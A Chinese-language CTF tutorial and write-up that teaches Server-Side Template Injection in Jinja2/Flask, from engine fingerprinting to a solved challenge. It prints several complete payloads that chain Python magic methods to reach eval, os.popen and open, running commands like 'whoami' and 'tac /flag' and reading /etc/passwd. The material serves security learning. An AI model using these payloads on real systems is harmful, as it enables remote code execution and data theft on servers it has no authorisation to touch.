**前言:**这个模块网上的wp其实对第一次接触模板注入的人来说其实不是那么友好,如果直接找wp来看的话大概率就是两眼黑,容易被劝退,我自己也是这样的,更多的是需要我们自己去找别的资料先了解模板注入这一块内容,有一定基础后才能去做相关题目。我想的是能不能将其整合起来,通过一道具体的题目,从0入门SSTI,因此便有了这篇文章。【同样的,魔术方法也是要多打才能熟悉,因此这里不提供可以复制的payload】
一:模板注入相关
1.什么是模板注入
SSTI(服务器端模板注入,Server-Side Template Injection)是一种高危的Web安全漏洞。简单来说,**攻击者可以通过向模板中注入恶意代码,让服务器端的模板引擎执行它,从而实现对服务器的控制。**更直观的话可以打个比方:
-
正常情况 :你给了一个"填空"的卡片(比如:
你好,{``{name}}),服务器把你的名字(比如"张三")填进去,然后生成一句完整的话("你好,张三")还给你。 -
SSTI情况 :攻击者不填名字,而是在这个空里填了一段"魔法指令"(比如
{``{7*7}})。如果服务器没检查就直接执行,它会把{``{7*8}}当成指令来计算,结果返回给你"你好,56"。如果攻击者能执行更复杂的指令(如读取密码文件、执行系统命令),服务器就会被攻陷。
2.常见模板
| 语言 | 常见模板引擎 | 核心SSTI风险点 |
|---|---|---|
| Python | Jinja2, Mako, Tornado | 通过对象继承链寻找 os.system |
| PHP | Twig, Smarty, Blade | 调用内置函数或利用 $this 上下文 |
| Java | Freemarker, Velocity, Thymeleaf | 利用 new() 构造执行器或SpEL注入 |
| JavaScript | Pug, Nunjucks, EJS | 获取 process 对象执行系统命令 |
| Ruby | ERB, Slim | 直接执行原生Ruby代码 |
| Go | html/template | 敏感信息泄露 > RCE |
(更加具体的内容请自行查阅相关资料)
3.常用魔术方法
1)获取信息阶段
这些魔术方法用于从当前对象"向上"或"横向"探索,获取更多的类、模块信息。
-
__class__-
作用 :返回当前实例所属的类。
-
利用场景:一切的起点。
-
示例 :你有一个字符串
"hello",调用"hello".__class__就会得到<class 'str'>。 -
Payload片段 :
{``{ ''.__class__ }}
-
-
__bases__/__base__-
作用 :访问当前类的父类(基类) 。
__bases__返回一个包含所有父类的元组,__base__通常返回直接父类。 -
利用场景:从子类向上走到父类,因为父类通常包含更多通用的东西。
-
Payload片段 :
{``{ ''.__class__.__bases__ }}
-
-
__mro__(Method Resolution Order)-
作用 :显示类的方法解析顺序 。它会以一个元组的形式,列出当前类继承链上的所有类(包括自己、父类、祖先类,一直到**
object**)。 -
利用场景 :这是最重要的跳板之一。通过
__mro__可以拿到最终的基类------object。因为Python中所有的类都继承自object,控制了object就意味着理论上可以访问所有类。 -
Payload片段 :
{{ ''.class.mro }} -
期望结果 :
(<class 'str'>, <class 'object'>)。这样我们就拿到了object。
-
-
__subclasses__()-
作用 :这是SSTI漏洞利用中最关键的一步 。它属于类方法,用于返回该类的所有直接或间接子类。
-
利用场景 :当我们通过
__mro__拿到object后,调用object.__subclasses__(),就能得到当前Python解释器加载的所有类的列表。 -
为什么重要:在这个庞大的列表中,包含了我们需要的一切:文件读写类、进程调用类、系统命令执行类等等。
-
Payload片段 :
{``{ ''.__class__.__mro__[1].__subclasses__() }} -
解读 :
''.__class__是**str** ,.mro[1]是object,然后获取**object**的所有子类。
-
2)寻找危险功能
得到所有子类的列表后,我们需要在这个列表里搜索可以执行系统命令或读写文件的方法。
-
__import__-
作用 :这是Python的内建函数,用于动态导入模块。
-
利用场景 :如果我们能在某个类或对象上找到
__import__,就可以导入os模块,进而调用os.system()执行命令。 -
注意 :
__import__通常作为内建函数存在于__builtins__模块中,或者在**warnings.catch_warnings** 等类的__init__方法中被引用。
-
-
__globals__-
作用 :这是SSTI利用中另一个至关重要的属性。它返回当前函数所在全局作用域下的一个字典,包含了该函数可以访问的所有全局变量、函数和模块。
-
利用场景 :当我们从**
__subclasses__()** 列表中找到某个特定的类(如**<class**'warnings.catch_warnings'>****) 后,我们通常先访问它的__init__方法,然后通过**__globals__** 获取其全局命名空间。在这个命名空间里,往往能找到已经被导入的**os** 模块,或者__builtins__(内置函数集合)。 -
典型利用链 :
object.__subclasses__()[索引].__init__.__globals__['__builtins__']
-
3)执行攻击
通过上述方法拿到 __builtins__ 或 os 模块后,就可以调用真正的危险函数。
-
__builtins__-
作用 :这不是一个方法,而是一个字典或模块 ,包含了Python的所有内建函数,例如
eval、exec、open、__import__等。 -
利用场景 :一旦拿到
__builtins__,攻击者可以直接调用:-
eval('__import__("os").system("whoami")') -
open('/etc/passwd').read() -
__import__('os').popen('whoami').read()
-
-
-
eval/exec-
作用:将字符串作为Python代码执行。
-
利用场景 :终极武器。当攻击者无法直接找到
os模块时,如果能找到eval,就可以通过它动态导入任何模块。
-
那么综合起来,我们来看一个具体的payload:
php
# 原始Payload (需要根据实际索引调整)
{{ ''.__class__.__mro__[1].__subclasses__()[177].__init__.__globals__['__builtins__'].eval('__import__("os").popen("whoami").read()') }}
逐步拆解:
1. ''.__class__ -> 获取字符串的类 (<class 'str'>)
2. .__mro__[1] -> 获取其MRO中的第二个类,即 object
3. .__subclasses__() -> 获取object的所有子类 (得到一个包含成千上百个类的列表)
4. [177] -> 选取第177号子类 (通常为 <class 'warnings.catch_warnings'>)
5. .__init__ -> 访问该类的初始化方法
6. .__globals__ -> 获取该初始化方法的全局作用域字典
7. ['__builtins__'] -> 从全局字典中取出内置函数模块
8. .eval('...') -> 调用内置的eval函数执行命令
9. __import__("os").popen("whoami").read() -> 实际执行的Python代码
4.判断模板
这里就要提到一个非常经典的图了:

绿色箭头是执行成功,红色箭头是执行失败。
首先是注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。
成功回显出的情况,这种时候是执行成功走绿线,再次注入,如果执行成功回显,就说明是模板;如果没有回显出,就是执行失败走红线,注入{"z".join("ab")},如果执行成功回显出zab就说明是Mako模板。
二:具体题目
提示说名字就是考点,可以尝试get传参name,先按照上面图片给的方法进行一次判断,得到如下结果,可以确定为jinja2模板:

那么接下来,就按照我们前面的方法依次尝试,首先是返回类:

然后就是要返回基类,这里直接base一下就可以了:

获得obj所有的子类:

然后就是选择我们可以利用的类,一般选取的是os._wrap_close 【因为os._wrap_close 存在于 object.__subclasses__() 列表中,并且它的 __init__.__globals__ 中直接包含了整个 os 模块, 而**os 模块** 是Python标准库中的一个核心模块 ,全称是"Operating System interface"(操作系统接口)。它提供了与操作系统交互 的函数,让我们可以**用Python代码执行各种系统级操作】**但是我们要找这个类的位置看起来好像很麻烦,这么多一个个看过去怎么行?因此这里可以采用python脚本或者我们手工查找,这里还是介绍手工查找的方法:
我们先将这里所有的类都复制下来到notepad中,然后将,替换为\n【换行符】这样就看起来清晰了:

后面我们再查找一下:

然后验证一下是不是我们要选择的(不知道为啥我notepad显示是133)

访问该类的初始化方法以及获得该方法的全局作用域字典:

这里可以直接popen来read一下:

最后得到我们的flag:

三:其他方法
当然这里还有很多方法来做,这里是一种通用性较强的:

这里我们利用的builtin的内置函数来当作跳板,在我们无法直接拿到os模块时起到了一个非常好的承接作用:builtins里面的这些函数可以帮我们执行命令:
php
__builtins__ = {
'eval': eval函数, # 执行Python代码
'exec': exec函数, # 执行Python代码
'open': open函数, # 打开文件
'__import__': import函数, # 导入模块
'print': print函数,
'len': len函数,
... # 还有几十个内置函数
}
利用链图解如下:
python
# 你的payload:
{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('tac /flag').read()")}}
# 逐步拆解:
1. "" # ① 随便一个字符串对象
2. .__class__ # ② 拿到str类
3. .__base__ # ③ 拿到object基类
4. .__subclasses__()[132] # ④ 找到第132个子类(比如warnings.catch_warnings)
5. .__init__ # ⑤ 访问该类的初始化方法
6. .__globals__ # ⑥ 获取全局变量字典
7. ['__builtins__'] # ⑦ 取出内置函数模块
8. ['eval'] # ⑧ 取出eval函数
9. ("__import__('os').popen('tac /flag').read()") # ⑨ 要执行的代码字符串
当然还有相应的变种:
python
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].__import__('os').popen('tac /flag').read()}}
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].open('/flag').read()}}
然后这里需要注意的点是:
只要一个类满足以下条件,就能通过 __builtins__ 执行命令:
-
它有
__init__方法 -
__init__方法有__globals__属性 -
__globals__中包含__builtins__
常见的有以下几种:
1. warnings.catch_warnings(最经典)
python
# 索引通常在 130-140 左右
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
2. warnings.WarningMessage
python
# warnings模块的另一个类
{{[].__class__.__base__.__subclasses__()[184].__init__.__globals__['__builtins__'].open('/flag').read()}}
3. codecs.IncrementalEncoder
python
{{[].__class__.__base__.__subclasses__()[107].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
当然了还可以从config 对象【 Flask框架中的全局配置对象 ,用来存储应用程序的所有配置信息。可以把它想象成应用程序的"控制面板 "或"设置中心"】出发,具体就不多赘述了:
python
# 1. 查看config对象,如果返回配置信息,说明config对象可用
?name={{ config }}
# 2. 查看config的类,应该返回 <class 'flask.config.Config'>
?name={{ config.__class__ }}
# 3. 查看__init__的__globals__所有键,如果看到 'os',恭喜!可以直接用
?name={{ config.__class__.__init__.__globals__.keys() }}
# 4. 如果有os,直接执行
?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
# 5. 读取flag
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
# 6. 如果没看到 os,但有 __builtins__,可通过 __builtins__ 导入os
?name={{ config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('cat /flag').read() }}
总之,方法很多,选取最合适的自己最好理解的即可。
四:参考
超详细SSTI模板注入漏洞原理讲解
Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全
SSTI模板注入【宝藏up,入门强推】